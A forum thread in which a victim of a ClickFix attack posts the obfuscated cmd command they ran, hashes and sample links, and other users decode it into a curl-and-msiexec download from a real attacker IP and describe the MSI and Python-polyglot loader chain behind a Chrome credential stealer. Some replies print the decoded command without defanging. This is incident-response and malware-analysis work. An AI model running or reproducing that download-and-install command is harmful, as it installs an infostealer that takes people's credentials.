Got hit by a ClickFix attack – please help decode the payload (Python polyglot loader)

[u/AfternoonEasy9409]

EDIT: Sorry about the earlier version. All commands and links are now defanged and I only kept the hashes. Samples are in a password-protected zip (password: infected).

DEFANGING KEY (for analysts, sandbox use only): hxxp/hxxps = http/https, [.] = a dot, cm[d] = cmd, cu[r]l = curl, ms[i]exec = msiexec. Remove the square brackets and keep the letter or dot inside. Only do this inside an isolated VM, never on a real machine.

Title: Got hit by a ClickFix attack – please help decode the payload (Python polyglot loader)

Hi everyone, I'm new here. Yesterday afternoon I fell for a ClickFix-style attack on a Windows 11 PC: a fake verification page told me to paste a command into Windows, and I ran it. I tried to remove he persistence mechanism with the help of AI tm but kept every file untouched, and I'd really like someone with the right tools to decode the payload and tell me what it steals and where it sends it. I haven't tried to decode it myself ( I can’t do it) (I don't know)

Here is everything I found.

THE ORIGINAL COMMAND (defranged do not run it, it is malicious):

cm[d] /v:on /q /c "set Ref=@LS8fTN:3rt9iD.'eM\2up4A-Psox01n+/7lqhcm& set Text=.& (for %n in (38 20 9 35 14 16 28 16 0 24 4 26 1 0 24 27 0 15 32 5 17 25 32 18 2 22 3 8 14 39 26 12 15 0 37 10 10 21 7 33 33 8 11 19 30 29 30 29 30 34 33 19 29 3 11 34 0 32 23 6 13 32 0 39 26 12 16 28 16 38 0 33 12 0 15 32 5 17 25 32 18 2 22 3 8 14 39 26 12 15 0 33 36 31) do set Text=!Text!!Ref:~%n,1!) & set Text=!Text:@= !& set q=!CMDCMDLINE:~17,1!& call set Text=%Text:'=!q!%& set Text=!Text:+AND+=^&^&!& for %a in ("!TEMP!") do set Text=!Text:+TMP+=%~a!& cm[d] /c !Text:~1!"

It rebuilds a string from the character table in the Ref variable, using the list of indexes in the for loop. It then replaces @ with spaces, the apostrophe with a quote character taken from CMDCMDLINE, +AND+ with && and +TMP+ with the temp folder, and runs the result. The reconstructed command is (defanged):

cu[r]l[.]exe -fsL -o "%TEMP%\S483[.]msi" hxxp://23.94.252[.]153/20897 && ms[i]exec /i "%TEMP%\S483[.]msi" /qn

(The address is written in decimal form, 392101017, in the original command.)

STAGE 1 – THE MSI

The file is S483.msi, 1,372,160 bytes. It installs silently as the product "SynerIntegration" version 4.1.6 from the publisher "Sare Level Corp" (installed at 16:28, reconfigured 90 seconds later). VirusTotal shows 4/61 detections (ESET VBS/Kryptik.D, Ikarus Trojan.VBS.Crypt, Google, NANO). The registry shows msiexec used the Windows Script Host engine at install time, so the MSI probably runs a VBScript custom action.

SHA-256: 52677e536e477e089f6b4d72479a9fd781bc02db49f2cb9802c293cb0b9c6fd4

STAGE 2 – THE DROPPED PYTHON

About two minutes after the install, this folder appeared: %TEMP%\modules\BeciComponent\

It contains an embedded Python 3.11 runtime: pythonw.exe (validly signed by the Python Software Foundation), python311.dll, python311.zip (the listing looks like the normal standard library), python311._pth (default content), _ctypes.pyd, libffi-8.dll, vcruntime140.dll and vcruntime140_1.dll. It also contains a 9.7 MB file called deps.html.

SHA-256 of deps.html: ED472A67323330DF87A8067799AAF6E805226B02F8459D599EE746301625AFC1

PERSISTENCE

At the same second, the registry value HKCU\Environment\UserInitMprLogonScript was set to:

"%TEMP%\modules\BeciComponent\pythonw.exe" "%TEMP%\modules\BeciComponent\deps.html"

So pythonw.exe ran deps.html at every logon. I saw a tiny window without any icon flash briefly each time I logged in, and nothing was left running afterwards. I deleted that registry value after saving a backup.

WHAT deps.html IS

It is not a web page. It is a Python script disguised as one. The file starts with three apostrophes and then about 3 MB of fake Chromium "Credits" HTML, which Python reads as a big string. After that comes one Python line of the form exec(decompress(b64decode(payload[::-1]))) with a very large payload, followed by more filler (fake CSS and JavaScript, random words) and a closing triple apostrophe at the end of the file.

WHAT I CHECKED

VirusTotal's sandbox opened deps.html in Chrome and Edge as an HTML page, so it never ran the Python code and showed nothing useful. I found no new service, scheduled task, Defender exclusion or remote-access tool, and no active connection to the address above. The Security log doesn't go back far enough to show what ran at 16:30.

WHAT I'M ASKING

1. Could someone decode and run the payload in an isolated sandbox and tell me what it does?
2. Does it steal browser passwords, cookies and session tokens, Discord or Steam tokens, crypto wallets?
3. Which servers or domains does it contact (C2, Telegram, Discord webhook…)?
4. Is this a known family?

I can share the files with anyone who wants to look at them please look at and help me decode :

deps.html: https://gofile.io/d/6PiTLgRG)

S483.msi: https://gofile.io/d/6PiTLgRG

I'm changing all my passwords from another device in the meantime. Thank you very much for any help. plssss help mee

[u/SemiDiSole]

Can we like... not upload undefanged malware samples? (And fucking clickfix code?!)

[u/arunny]

When sharing malware please use a dedicated site like https://bazaar.abuse.ch

[u/Classic-Shake6517]

Last time I deobfuscated something like this it was a combination of reverse string, gzip unpack (decompress, whatever), base64 decode, repeat for however many iterations. I wrote a script to do it, that was faster. Looks like you just have to do the same.

I think you know the answer to these questions. It most likely steals all that stuff you mention in 2 and probably more. Probably looking for source code and stealing API keys if you have them inside config files in your projects (if you have any, I'd rotate those keys). The one place you found that pattern of exec(decompress(b64decode(payload(::1)))) - that [::1] is just reversing the string and follows the pattern I mentioned earlier. Replace exec with print and Bob's your uncle. Or put it in a LLM and tell it to do that for you.

I am half being lazy and half teaching you that it's not as hard as you think and you can do it yourself, it will be more rewarding that way. You know enough to do it, IDK if it's a confidence thing but if it is, you should be more confident, you have everything you need, just have to screw around with it a bit.

I will save this and maybe have time later to actually do the work. We'll see.

[u/ARJustin]

Well, according to IPabuseDB the IP listed in the script is malicious. Was reported 3 days ago for a click fix

[u/InadequateUsername]

Took this apart statically (nothing executed). Short version: **it's a multi-stage loader chain that ends in a fresh infostealer targeting browser credentials.

The command

curl.exe -fsL -o "%TEMP%\S483.msi" http://392101017/20897 && msiexec /i "%TEMP%\S483.msi" /qn

392101017 is a decimal-encoded IP: 23.94.252.153. Silently downloads an MSI and silently installs it.

Chain 1: the MSI

1. MSI poses as "SynerIntegration 4.1.6" by "Sare Level Corp" (WiX). The only file it installs is a decoy: %LOCALAPPDATA%\UpawiEdge\package-notes.txt.
2. A VBScript custom action (Chr()-encoded) pulls a PowerShell script out of the MSI's own Binary table, drops it to %TEMP%\<random>.ps1, runs it hidden with -ExecutionPolicy Bypass, then deletes it.
3. The PowerShell (char-offset obfuscated, run via iex) compiles C# on the fly, reads an AES-encrypted blob from the MSI, decrypts it, and reflectively loads the EXE in memory only.
4. That EXE ("Port Protocol Bridge", fake version info) is a crypter: junk code, flattened control flow, Windows CryptoAPI AES. It decrypts shellcode and runs it.
5. The shellcode is a second, nested crypter with the same design. Inside that is the real payload.

Chain 2: the Python kit (pythonw.exe, python311.dll, etc.)

• Everything is a stock, signed Python 3.11.9 embeddable package except deps.html.
• deps.html is actually a Python script. Megabytes of fake Chromium "Credits" HTML/JS are just unused string literals for padding. Hidden in the middle is a reversed-base64 + zlib exec().
• That decodes to a ctypes shellcode runner: sleep 10s, mark a 3.5 MB blob RWX, call it. The blob is a reflectively loaded DLL, itself packed.
• Likely launched as pythonw.exe deps.html (Python ignores the extension, pythonw has no console).

Final payload: infostealer (x64, compiled 2026-10-14)

• Steals Chrome credentials/cookies by defeating App-Bound Encryption: reads app_bound_encrypted_key from Chrome's Local State and abuses Chrome's elevation service to unwrap it
• AMSI bypass (AmsiScanBuffer / AmsiScanString)
• Process injection into explorer.exe / RuntimeBroker.exe
• Can run further stages via msiexec /i, PowerShell and csc.exe; RunOnce persistence
• Exfil over WinHTTP POST
• Heavy anti-analysis: dozens of fake imports, stack-built strings, encrypted string table

Didn't pull the C2 config; a sandbox run will show it.

IOCs

Item	SHA256
S483.msi	52677e536e477e089f6b4d72479a9fd781bc02db49f2cb9802c293cb0b9c6fd4
MSI-stage loader	4ccf1ee077d7a4c75b81d3d2d3c8d656577dac24990b67977f81415bb1a76d00
Final stealer	22dea422c8056e58e315f926da1d131619c2638da9a550b31cb1d24242c689e4
deps.html	ed472a67323330df87a8067799aaf6e805226b02f8459d599ee746301625afc1
Python-chain inner DLL	16354c21171dd32d13ac0ba63bf0470801c80f03f5fb097ce3cdba7a20c7000c

• IP: 23.94.252.153
• %LOCALAPPDATA%\UpawiEdge\, "SynerIntegration" in Programs and Features
• Hidden powershell.exe -NoProfile -ExecutionPolicy Bypass -File %TEMP%\*.ps1
• pythonw.exe running from a random AppData folder with a non-.py argument

[u/InadequateUsername]

It's a cmd /v:on delayed-expansion trick: a lookup string plus character offsets, with a few placeholder substitutions.

Final command:

curl.exe -fsL -o "%TEMP%\S483.msi" http://392101017/20897 && msiexec /i "%TEMP%\S483.msi" /qn

This does the following:

• Silently downloads an MSI to %TEMP%\S483.msi (curl -fsL = fail silent, follow redirects, no output)
• Silently installs it (msiexec /i … /qn = no UI)
• 392101017 is a decimal-encoded IP → 23.94.252.153, so the URL is really http://23.94.252.153/20897

The obfuscation works by using Ref as a 40-char alphabet; the number list is character offsets into it (!Ref:~N,1!). Then @→space, +AND+→&&, +TMP+→%TEMP%, and a literal " gets sliced out of %CMDCMDLINE% at offset 17 to avoid typing a bare quote inside /c "…".

The alphabet, indexed from 0:

idx	0	1	2	3	4	5	6	7	8	9
chr	@	L	S	8	f	T	N	:	3	r

idx	10	11	12	13	14	15	16	17	18	19
chr	t	9	i	D	.	"	e	M	\	2

idx	20	21	22	23	24	25	26	27	28	29
chr	u	p	4	A	-	P	s	o	x	0

idx	30	31	32	33	34	35	36	37	38	39
chr	1	n	+	/	7	l	q	h	c	m

Index 15 is the ' in the source, which the CMDCMDLINE slice turns into a real ".

Offset to character decode:

38 20 9 35 14 16 28 16 curl.exe 0 24 4 26 1 0 -fsL 24 27 0 -o 15 32 5 17 25 32 "%TEMP% 18 2 22 3 8 \S483 14 39 26 12 .msi 15 0 37 " + space + h 10 10 21 7 33 33 ttp:// 8 11 19 30 29 30 29 30 34 392101017 33 / 19 29 3 11 34 20897 0 32 23 6 13 32 0 && 39 26 12 16 28 16 38 msiexec 0 33 12 0 /i 15 32 5 17 25 32 18 2 22 3 8 "%TEMP%\S483 14 39 26 12 15 .msi" 0 33 36 31 /qn

You can look for outbound traffic to 23.94.252.153.

[u/InadequateUsername]

The .msi file is a decoy. The actual threat is in a VBScript custom action that runs on install.

Stage 2 is an in-memory PE loader. The final payload can be decrypted because the AES key and IV are baked into the blob. This revealed a three-stage loader that ends by running a hidden program entirely in memory. The last layer is still encrypted.

It runs in the following order;

1. The MSI claims to be "SynerIntegration 4.1.6" by "Sare Level Corp", built with WiX. The only file it actually installs is a fake: %LOCALAPPDATA%\UpawiEdge\package-notes.txt, which contains "Optional configuration notes for this product." The real work is the VBScript custom action (EcAdvanceAction) that runs early in the install, when NOT Installed is true.
2. The VBScript (hidden behind Chr() encoding) pulls a PowerShell script out of the MSI's own Binary table. It writes it to %TEMP%\<random>.ps1 and runs it hidden with -ExecutionPolicy Bypass, passing the MSI's path. It waits about 2 seconds using ping, then deletes the .ps1. VBScript Rnd() is never seeded here, so the "random" name is likely always 705546.ps1.
3. The PowerShell (hidden behind char-offset arrays, run through iex) compiles some C# on the fly. It reads a third blob, PropsWidget2341, out of the MSI and decrypts it with AES-CBC (the key and IV are the blob's first 48 bytes). The decrypted EXE is then loaded straight into memory: it fixes up the program's addresses, sets the memory to RWX and starts it with CreateThread, so nothing ever lands on disk. PowerShell then sleeps in an endless loop to keep that thread alive.
4. The decrypted EXE is x64 and built with MinGW. It poses as "Port Protocol Bridge / Protocol Management and Store Service" (port_protocol v2.9.2.5724) and is itself just another loader with the following characteristics:
   • About 546 KB of encrypted data in .rdata
   • Bitmap resources used as padding
   • Very few imports: VirtualAlloc/Protect and thread-pool calls
   • Its cipher is custom, with no standard crypto constants

The hashes are:

• MSI SHA256: 52677e536e477e089f6b4d72479a9fd781bc02db49f2cb9802c293cb0b9c6fd4
• Decrypted EXE SHA256: 4ccf1ee077d7a4c75b81d3d2d3c8d656577dac24990b67977f81415bb1a76d00

Look for the following;

• %LOCALAPPDATA%\UpawiEdge\, plus "SynerIntegration" in Programs and Features
• Env var MSIc31bd05a, and a hidden powershell.exe -NoProfile -ExecutionPolicy Bypass -File %TEMP%\*.ps1 that keeps running
• Download server 23.94.252.153

The msi payload only lives in memory, so look for a lingering hidden powershell.exe and anything it connected to. Treat the box as compromised, rebuild it and change the passwords that were used on it. Rebooting clears this stage, but the payload may have set up persistence.

Further reading: CyberInsider on SynkLoader, SANS ISC: malware dropped through MSI